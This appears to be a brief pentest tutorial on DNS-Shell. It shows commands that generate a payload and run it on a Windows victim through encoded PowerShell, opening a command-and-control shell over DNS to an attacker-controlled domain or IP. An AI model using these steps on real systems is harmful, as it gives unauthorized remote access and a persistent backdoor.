DNS Shell protocol runs on the application layer of the TCP/IP Model. When an attacker or pentester tries to exploit DNS with RCE vulnerability (Remote Command Execution) destination server acts as the backdoor.
Tool is a python-based Exploitation tool to compromise and also maintain access via command and control to the server.
Must Read Complete Kali Tools tutorials from Information gathering to Forensics
Here I have used Kali Linux(Attacker Machine) and Victim Machine (Windows 10)
ATTACKER MACHINE
- Download the SHELL tool HERE
- Execute the command: python DNS-SHELL.py
- It can be utilized with different modes, Recursive mode (It will run the DNS name) and Direct mode will run as the Ip address provided (Kali Linux IP)
Generating Payload – DNS Shell
- The above Figure is in Recursive mode.
- Recursive Command Executed: Python DNS-Shell.py -l -r <Domain Name>
NOTE: Command to be executed for direct mode: Python DNS-Shell.py -l -d
- The above figure shows recursive mode has generated a payload.
Victims Machine
- Run & Execute the Command with CMD: Powershell.exe -e <Copy and paste the Generated Payload HERE>
BACK TO THE ATTACKERS MACHINE
- Once the payload is executed in the victim’s machine. The shell of the Windows 10 machine is obtained.
- The above Figure shows destination (windows 10) now acts as a backdoor and the command is entered and turned to Convert Channel to over port 53 of DNS.Happy Hacking !!!
You can follow us on Linkedin, Twitter, and Facebook for daily Cybersecurity updates also you can take the Best Cybersecurity courses online to keep yourself self-updated.